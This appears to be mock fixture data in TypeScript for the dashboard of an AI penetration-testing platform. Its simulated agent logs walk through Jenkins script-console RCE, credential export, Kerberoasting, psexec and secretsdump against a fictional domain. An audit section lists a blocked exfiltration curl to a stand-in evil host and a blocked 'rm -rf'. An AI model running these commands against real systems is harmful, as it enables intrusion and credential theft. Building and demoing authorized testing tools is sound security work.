||
detail: "The sa password was reused successfully on FS01 with admin privileges; DC01 did not work.",
|
||
},
|
||
{
|
||
seq: 363,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
kind: "thinking",
|
||
summary: "FS01 is taken; enumerating shared directories for more credentials and sensitive files...",
|
||
},
|
||
|
||
// work#11 · i11 unauthenticated Jenkins RCE (done)
|
||
{
|
||
seq: 370,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:32:00Z"),
|
||
kind: "thinking",
|
||
summary: "JENKINS 8080 is directly reachable; check whether the /script console requires authentication first.",
|
||
},
|
||
{
|
||
seq: 371,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:35:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11a",
|
||
summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 372,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:35:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11a",
|
||
summary: "200",
|
||
detail: "The Script Console is accessible without login.",
|
||
},
|
||
{
|
||
seq: 373,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:40:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11b",
|
||
summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText",
|
||
},
|
||
{
|
||
seq: 374,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:40:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11b",
|
||
summary: "nt authority\\system",
|
||
detail: "Groovy executes as SYSTEM.",
|
||
},
|
||
{
|
||
seq: 375,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11c",
|
||
summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # export the Jenkins credentials store",
|
||
},
|
||
{
|
||
seq: 376,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:45:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11c",
|
||
summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!",
|
||
detail: "Two domain service account plaintext passwords exported.",
|
||
},
|
||
{
|
||
seq: 377,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:48:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t11d",
|
||
summary: "report_finding(Unauthenticated RCE, high)",
|
||
},
|
||
{
|
||
seq: 378,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
kind: "result",
|
||
summary: "Unauthenticated Jenkins RCE confirmed, with two domain service account credentials exported.",
|
||
input_tokens: 96000,
|
||
output_tokens: 6200,
|
||
cache_read_tokens: 64000,
|
||
cache_write_tokens: 9500,
|
||
},
|
||
|
||
// work#12 · i12 Kerberoasting (done)
|
||
{
|
||
seq: 380,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:42:00Z"),
|
||
kind: "thinking",
|
||
summary: "Authenticate to the domain with the svc_deploy credentials, then GetUserSPNs requests TGS for Kerberoastable service accounts.",
|
||
},
|
||
{
|
||
seq: 381,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:50:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12a",
|
||
summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request",
|
||
},
|
||
{
|
||
seq: 382,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:52:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12a",
|
||
summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...",
|
||
detail: "Obtained svc_sql's TGS ticket (Kerberos RC4).",
|
||
},
|
||
{
|
||
seq: 383,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:10:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12b",
|
||
summary: "hashcat -m 13100 tgs.hash rockyou.txt --force",
|
||
},
|
||
{
|
||
seq: 384,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:18:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12b",
|
||
summary: "$krb5tgs$23$*svc_sql$...:Sql@2020",
|
||
detail: "Cracked the password Sql@2020 in 8 minutes.",
|
||
},
|
||
{
|
||
seq: 385,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:19:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t12c",
|
||
summary: "report_finding(Kerberoasting, high)",
|
||
},
|
||
{
|
||
seq: 386,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
kind: "result",
|
||
summary: "Kerberoasting cracked svc_sql's password; entered the graph for use against the domain controller.",
|
||
input_tokens: 108000,
|
||
output_tokens: 6800,
|
||
cache_read_tokens: 72000,
|
||
cache_write_tokens: 10000,
|
||
},
|
||
|
||
// work#13 · i13 taking the domain controller DC01 (done, proves g4)
|
||
{
|
||
seq: 390,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:52:00Z"),
|
||
kind: "thinking",
|
||
summary: "svc_deploy came from the Jenkins credentials store; check group membership first — if it is in Domain Admins, psexec to DC01 directly.",
|
||
},
|
||
{
|
||
seq: 391,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:55:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13a",
|
||
summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10",
|
||
},
|
||
{
|
||
seq: 392,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:55:05Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13a",
|
||
summary: "ACME\\Administrator\nACME\\svc_deploy",
|
||
detail: "svc_deploy is a member of Domain Admins.",
|
||
},
|
||
{
|
||
seq: 393,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:00:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13b",
|
||
summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10",
|
||
},
|
||
{
|
||
seq: 394,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:00:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13b",
|
||
summary: "C:\\Windows\\system32> whoami\nnt authority\\system",
|
||
detail: "Logged into the domain controller DC01 as SYSTEM.",
|
||
},
|
||
{
|
||
seq: 395,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:05:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13c",
|
||
summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc",
|
||
},
|
||
{
|
||
seq: 396,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:10:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13c",
|
||
summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::",
|
||
detail: "All domain NTLM hashes exported (including krbtgt); golden tickets can be crafted for persistent control.",
|
||
},
|
||
{
|
||
seq: 397,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:15:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t13d",
|
||
summary: "report_finding(Domain Compromise, high)",
|
||
},
|
||
{
|
||
seq: 398,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
kind: "result",
|
||
summary: "Domain controller DC01 taken; secretsdump exported all domain hashes; the target is met.",
|
||
input_tokens: 144000,
|
||
output_tokens: 9200,
|
||
cache_read_tokens: 96000,
|
||
cache_write_tokens: 14000,
|
||
},
|
||
|
||
// Main agent (human-in-the-loop conversations)
|
||
{ seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "Where should we start on the admin console?" },
|
||
{
|
||
seq: 71,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:18:06Z"),
|
||
kind: "text",
|
||
summary:
|
||
"admin.acme.com is an Element-UI admin console with no captcha and no rate limit. I suggest the default credential list (admin/admin123) first, then dictionaries. I have injected a high-priority intent for the work agent.",
|
||
},
|
||
{ seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "Got the admin console; what's the focus next?" },
|
||
{
|
||
seq: 73,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:52:08Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Goal 2 is reading user sensitive data: advance 'admin user API enumeration' and 'API IDOR' in parallel. Note that bulk exports trigger interception rules and need your approval to allow.",
|
||
},
|
||
{
|
||
seq: 400,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:42:00Z"),
|
||
kind: "user",
|
||
summary: "Got the shell; how do we proceed?",
|
||
},
|
||
{
|
||
seq: 401,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:42:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"www-data is not enough; escalate first (sudo -l looks promising). After root, use the DMZ as a springboard for internal discovery, prioritizing the domain controller and Jenkins.",
|
||
},
|
||
{
|
||
seq: 402,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:22:00Z"),
|
||
kind: "user",
|
||
summary: "Internal scan done; that Jenkins box looks unauthenticated?",
|
||
},
|
||
{
|
||
seq: 403,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:22:08Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Yes, /script is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit Jenkins first — once taken, domain credentials can be exported and combined with Kerberoasting against the domain controller.",
|
||
},
|
||
{ seq: 404, worker: "mainagent", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "DC01 taken? Give me a summary." },
|
||
{
|
||
seq: 405,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:12Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Confirmed taken. Attack path: shop Fastjson RCE → DMZ escalation → internal Jenkins exported domain credentials → svc_deploy is in Domain Admins → psexec DC01 SYSTEM → secretsdump all domain hashes. All four goals met or in progress.",
|
||
},
|
||
];
|
||
|
||
export function activityForTask(): Activity[] {
|
||
return activity;
|
||
}
|
||
|
||
// ── Token stats ──────────────────────────────────────────────────────────────
|
||
export const tokenWorkers: TokenUsage[] = [
|
||
{
|
||
worker: "planner",
|
||
input_tokens: 320000,
|
||
output_tokens: 24000,
|
||
cache_read_tokens: 210000,
|
||
cache_write_tokens: 33000,
|
||
},
|
||
{
|
||
worker: "work#1",
|
||
input_tokens: 288000,
|
||
output_tokens: 21000,
|
||
cache_read_tokens: 190000,
|
||
cache_write_tokens: 28000,
|
||
},
|
||
{
|
||
worker: "work#2",
|
||
input_tokens: 402000,
|
||
output_tokens: 31000,
|
||
cache_read_tokens: 280000,
|
||
cache_write_tokens: 41000,
|
||
},
|
||
{
|
||
worker: "work#3",
|
||
input_tokens: 274500,
|
||
output_tokens: 20320,
|
||
cache_read_tokens: 210400,
|
||
cache_write_tokens: 30000,
|
||
},
|
||
{ worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 },
|
||
{ worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 },
|
||
{ worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 },
|
||
{ worker: "work#8", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 },
|
||
{ worker: "work#9", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 },
|
||
{ worker: "work#10", input_tokens: 46000, output_tokens: 3200, cache_read_tokens: 30000, cache_write_tokens: 4500 },
|
||
{ worker: "work#11", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 },
|
||
{ worker: "work#12", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 },
|
||
{ worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 },
|
||
];
|
||
|
||
// Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session
|
||
// (main | plan | intent:<id>) instead of the reusable work#N executor name.
|
||
export const tokenSessions: SessionTokenUsage[] = (() => {
|
||
const totals = new Map<string, SessionTokenUsage>();
|
||
for (const item of activity) {
|
||
if (item.kind !== "result") continue;
|
||
let session = "";
|
||
if (item.worker === "mainagent") session = "main";
|
||
else if (item.worker === "planner") session = "plan";
|
||
else if (item.intent_id) session = `intent:${item.intent_id}`;
|
||
if (!session) continue;
|
||
const current = totals.get(session) ?? {
|
||
session,
|
||
input_tokens: 0,
|
||
output_tokens: 0,
|
||
cache_read_tokens: 0,
|
||
cache_write_tokens: 0,
|
||
};
|
||
current.input_tokens += item.input_tokens ?? 0;
|
||
current.output_tokens += item.output_tokens ?? 0;
|
||
current.cache_read_tokens += item.cache_read_tokens ?? 0;
|
||
current.cache_write_tokens += item.cache_write_tokens ?? 0;
|
||
totals.set(session, current);
|
||
}
|
||
return [...totals.values()];
|
||
})();
|
||
|
||
export const tokenTotal: TokenTotal = grandTotal;
|
||
|
||
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
|
||
const d = new Date("2026-07-26T00:00:00Z");
|
||
d.setUTCDate(d.getUTCDate() - (29 - i));
|
||
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
|
||
return {
|
||
date: d.toISOString().slice(0, 10),
|
||
input_tokens: wave,
|
||
output_tokens: Math.round(wave * 0.08),
|
||
cache_read_tokens: Math.round(wave * 0.7),
|
||
cache_write_tokens: Math.round(wave * 0.12),
|
||
};
|
||
});
|
||
|
||
export const convTokens: ConvTokenSummary[] = [
|
||
{
|
||
llm_profile_id: 1,
|
||
created_at: T("2026-07-25T10:00:00Z"),
|
||
input_tokens: 42000,
|
||
output_tokens: 3800,
|
||
cache_read_tokens: 26000,
|
||
cache_write_tokens: 5200,
|
||
},
|
||
{
|
||
llm_profile_id: 2,
|
||
created_at: T("2026-07-24T16:00:00Z"),
|
||
input_tokens: 18000,
|
||
output_tokens: 1600,
|
||
cache_read_tokens: 9000,
|
||
cache_write_tokens: 2100,
|
||
},
|
||
];
|
||
|
||
// ── Traffic ──────────────────────────────────────────────────────────────────
|
||
const exchanges = [
|
||
["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213],
|
||
["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120],
|
||
["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23],
|
||
["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044],
|
||
["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0],
|
||
["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120],
|
||
["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842],
|
||
["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640],
|
||
["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655],
|
||
["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312],
|
||
["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45],
|
||
["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990],
|
||
["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128],
|
||
["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88],
|
||
["x-15", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 500, "application/json", 2048],
|
||
["x-16", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 200, "application/json", 0],
|
||
["x-17", "10.10.10.20", "GET", "http://10.10.10.20:8080/script", 200, "text/html", 14200],
|
||
["x-18", "10.10.10.20", "POST", "http://10.10.10.20:8080/scriptText", 200, "text/plain", 86],
|
||
["x-19", "10.10.10.10", "POST", "https://10.10.10.10:445/psexec", 200, "application/octet-stream", 0],
|
||
] as const;
|
||
|
||
export const traffic: TrafficResp = {
|
||
enabled: true,
|
||
proxy: ":8788",
|
||
count: exchanges.length,
|
||
total: exchanges.length,
|
||
page: 0,
|
||
size: 100,
|
||
exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({
|
||
id,
|
||
host,
|
||
method,
|
||
url,
|
||
status,
|
||
content_type: ct,
|
||
resp_len: len,
|
||
ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
|
||
})),
|
||
};
|
||
|
||
// Distinct hosts with counts, derived from the exchanges above (target picker).
|
||
const hostCounts: Record<string, number> = {};
|
||
for (const [, host] of exchanges) hostCounts[host] = (hostCounts[host] ?? 0) + 1;
|
||
export const trafficHosts: TrafficHost[] = Object.entries(hostCounts).map(([host, count]) => ({ host, count }));
|
||
|
||
export const trafficDetail: TrafficDetail = {
|
||
req: `GET /v1/orders?id=1002 HTTP/1.1
|
||
Host: api.acme.com
|
||
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
|
||
User-Agent: ARTEX-worker/1.0
|
||
Accept: application/json
|
||
|
||
`,
|
||
resp: `HTTP/1.1 200 OK
|
||
Content-Type: application/json
|
||
Content-Length: 655
|
||
|
||
{
|
||
"order_id": 1002,
|
||
"user_id": 77,
|
||
"amount": 1299.00,
|
||
"address": "Chaoyang, Beijing ****",
|
||
"phone": "138****6021",
|
||
"items": [{ "sku": "A-100", "qty": 1 }]
|
||
}`,
|
||
};
|
||
|
||
// ── Security / Audit ─────────────────────────────────────────────────────────
|
||
export const audit: Audit = {
|
||
attributions: { allow: 312, block: 9 },
|
||
entries: [
|
||
{
|
||
ts: T("2026-07-26T03:33:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -d 'username=admin...' https://admin.acme.com/login",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T03:57:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -b 'session=...' https://admin.acme.com/api/users",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T02:10:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "Out of scope: out.evil.example is not in scope",
|
||
command: "curl https://out.evil.example/exfil",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T22:03:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "Destructive command gate: rm -rf was denied",
|
||
command: "rm -rf /var/www",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "git-dumper https://www.acme.com/.git/ /tmp/acme",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T15:20:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command:
|
||
"curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T21:40:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:00:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "impacket-psexec acme.local/svc_deploy@10.10.10.10",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:05:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "Data exfiltration gate: secretsdump requires manual approval",
|
||
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:06:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # approved and allowed",
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── LLM profiles ─────────────────────────────────────────────────────────────
|
||
export const llmProfiles: LLMProfile[] = [
|
||
{
|
||
id: "1",
|
||
name: "Claude Opus 4.8",
|
||
format: "anthropic",
|
||
model: "claude-opus-4-8",
|
||
api_key_hint: "…a3f2",
|
||
rate_per_second: 0,
|
||
rate_per_minute: 0,
|
||
context_window_k: 1000,
|
||
thinking_type: "enabled",
|
||
reasoning_effort: "high",
|
||
is_default: true,
|
||
priority: 0,
|
||
pool_exclude: false,
|
||
// anthropic's field names are fixed, so max_tokens_field is always empty.
|
||
max_tokens: 0,
|
||
max_tokens_field: "",
|
||
},
|
||
{
|
||
id: "2",
|
||
name: "DeepSeek V4",
|
||
format: "openai",
|
||
base_url: "https://api.deepseek.com",
|
||
model: "deepseek-v4-flash",
|
||
api_key_hint: "…9c11",
|
||
rate_per_second: 0,
|
||
rate_per_minute: 60,
|
||
context_window_k: 128,
|
||
thinking_type: "",
|
||
reasoning_effort: "",
|
||
is_default: false,
|
||
priority: 10,
|
||
pool_exclude: false,
|
||
// openai format + reasoning models: the limit goes through max_completion_tokens.
|
||
max_tokens: 8192,
|
||
max_tokens_field: "max_completion_tokens",
|
||
},
|
||
];
|
||
|
||
export const llmConfig = {
|
||
configured: true,
|
||
provider: "anthropic",
|
||
model: "claude-opus-4-8",
|
||
base_url: "",
|
||
proxy: "",
|
||
key_set: true,
|
||
rate_per_second: 0,
|
||
rate_per_minute: 0,
|
||
context_window_k: 1000,
|
||
thinking_type: "enabled",
|
||
reasoning_effort: "high",
|
||
};
|
||
|
||
// ── Agents ───────────────────────────────────────────────────────────────────
|
||
export const agents: Agent[] = [
|
||
{
|
||
id: "1001",
|
||
key: "retester",
|
||
name: "Finding retest",
|
||
role: "assistant",
|
||
builtin: false,
|
||
enabled: true,
|
||
description: "Started manually from the finding detail; saves an independent retest conclusion",
|
||
max_turns: 0,
|
||
mcp_count: 0,
|
||
skill_count: 0,
|
||
tool_count: 2,
|
||
},
|
||
{
|
||
id: "1",
|
||
key: "goals",
|
||
name: "Goal decomposer",
|
||
role: "goals",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "Decomposes task goals into explorable sub-goals",
|
||
max_turns: 8,
|
||
mcp_count: 0,
|
||
skill_count: 1,
|
||
tool_count: 3,
|
||
},
|
||
{
|
||
id: "2",
|
||
key: "planner",
|
||
name: "Planner",
|
||
role: "planner",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "Reads exploration routes, judges goal completion, generates intents",
|
||
max_turns: 0,
|
||
mcp_count: 1,
|
||
skill_count: 2,
|
||
tool_count: 9,
|
||
},
|
||
{
|
||
id: "3",
|
||
key: "mainagent",
|
||
name: "Main agent",
|
||
role: "mainagent",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "Human-in-the-loop conversations; injects hints / high-priority intents",
|
||
max_turns: 0,
|
||
web_search: true,
|
||
mcp_count: 2,
|
||
skill_count: 3,
|
||
tool_count: 11,
|
||
},
|
||
{
|
||
id: "4",
|
||
key: "worker",
|
||
name: "Work Agent",
|
||
role: "worker",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "Claims intents → runs Kali tools → writes back to the graph",
|
||
max_turns: 40,
|
||
run_seconds: 1800,
|
||
web_search: false,
|
||
interactive_shell: true,
|
||
mcp_count: 2,
|
||
skill_count: 3,
|
||
tool_count: 14,
|
||
},
|
||
{
|
||
id: "5",
|
||
key: "recon-bot",
|
||
name: "Recon bot (custom)",
|
||
role: "custom",
|
||
builtin: false,
|
||
enabled: true,
|
||
description: "Periodically runs passive reconnaissance on new assets",
|
||
max_turns: 12,
|
||
mcp_count: 1,
|
||
skill_count: 1,
|
||
tool_count: 4,
|
||
},
|
||
];
|
||
|
||
const promptVars: PromptVar[] = [
|
||
{ name: "Goal", description: "Current task goal", example: "Gain admin access to acme.com", source: "runtime" },
|
||
{ name: "AssetSummary", description: "Asset graph overview", example: "6 subdomains / 3 IPs / 4 apps / 4 endpoints", source: "distilled" },
|
||
{ name: "RouteHint", description: "Exploration route hints", example: "Prioritize the admin and API authorization bypass surfaces", source: "exploration" },
|
||
];
|
||
|
||
const promptVersions: PromptVersion[] = [
|
||
{ version: 3, ts: T("2026-07-25T10:00:00Z"), note: "Strengthen authorization bypass probing guidance", template_text: "You are the ARTEX planner..." },
|
||
{ version: 2, ts: T("2026-07-20T10:00:00Z"), note: "Initial minor tuning", template_text: "You are the ARTEX planner (v2)..." },
|
||
];
|
||
|
||
export function agentDetail(key: string): AgentDetail {
|
||
const a = agents.find((x) => x.key === key) ?? agents[1];
|
||
return {
|
||
agent: a,
|
||
prompt: `You are the ARTEX "${a.name}".\nGoal: {{.Goal}}\nAsset overview: {{.AssetSummary}}\nRoute hint: {{.RouteHint}}\nProceed with the exploration based on the above and write the results back to the graph via tools.`,
|
||
variables: promptVars,
|
||
versions: promptVersions,
|
||
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
|
||
wrapup_prompt: "",
|
||
wrapup_default: "Time/steps are running out; summarize the confirmed findings and mark intent final states.",
|
||
wrapup_max_turns: 0,
|
||
wrapup_max_turns_default: 3,
|
||
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
|
||
task_timeout_wrapup_default: "Task timed out; wrap up immediately and persist the current conclusions.",
|
||
task_timeout_wrapup_max_turns_default: 2,
|
||
};
|
||
}
|
||
|
||
// ── MCP ──────────────────────────────────────────────────────────────────────
|
||
export const mcpServers: MCPServer[] = [
|
||
{
|
||
id: 1,
|
||
name: "shodan",
|
||
transport: "http",
|
||
url: "https://mcp.shodan.io/sse",
|
||
args: [],
|
||
env: {},
|
||
enabled: true,
|
||
tools: ["host_info", "search", "dns_resolve"],
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "playwright",
|
||
transport: "stdio",
|
||
command: "npx",
|
||
args: ["-y", "@playwright/mcp"],
|
||
env: {},
|
||
enabled: true,
|
||
tools: ["browser_navigate", "browser_click", "browser_snapshot"],
|
||
},
|
||
];
|
||
|
||
export const mcpToolsById: Record<number, MCPTool[]> = {
|
||
1: [
|
||
{ name: "host_info", description: "Query Shodan host info for an IP" },
|
||
{ name: "search", description: "Shodan search" },
|
||
{ name: "dns_resolve", description: "DNS resolution" },
|
||
],
|
||
2: [
|
||
{ name: "browser_navigate", description: "Open a URL in the browser" },
|
||
{ name: "browser_click", description: "Click an element" },
|
||
{ name: "browser_snapshot", description: "Capture an accessibility snapshot" },
|
||
],
|
||
};
|
||
|
||
// ── Skills ───────────────────────────────────────────────────────────────────
|
||
export const skills: SkillItem[] = [
|
||
{
|
||
name: "api-recon",
|
||
description: "Reconnaissance and authorization bypass surface enumeration on REST/GraphQL APIs; use when new API endpoints are discovered.",
|
||
license: "MIT",
|
||
mcps: [],
|
||
files: ["SKILL.md", "scripts/enum.py"],
|
||
calls: 24,
|
||
tasks: 6,
|
||
usage_agents: ["worker", "planner"],
|
||
last_used: "2026-08-20T09:12:00Z",
|
||
},
|
||
{
|
||
name: "playwright-cli",
|
||
description: "Drives a browser with Playwright for dynamic crawling and screenshots; use when JS-rendered sites need rendering.",
|
||
mcps: ["playwright"],
|
||
files: ["SKILL.md"],
|
||
calls: 7,
|
||
tasks: 3,
|
||
usage_agents: ["worker"],
|
||
last_used: "2026-08-19T21:40:00Z",
|
||
},
|
||
{
|
||
name: "scopesentry",
|
||
description: "Pulls assets from ScopeSentry and merges them into the company scope; use when importing assets in bulk.",
|
||
files: ["SKILL.md", "assets/mapping.md"],
|
||
calls: 0,
|
||
tasks: 0,
|
||
usage_agents: [],
|
||
},
|
||
];
|
||
|
||
export const skillCalls: SkillCall[] = [
|
||
{ ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 },
|
||
{ ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 },
|
||
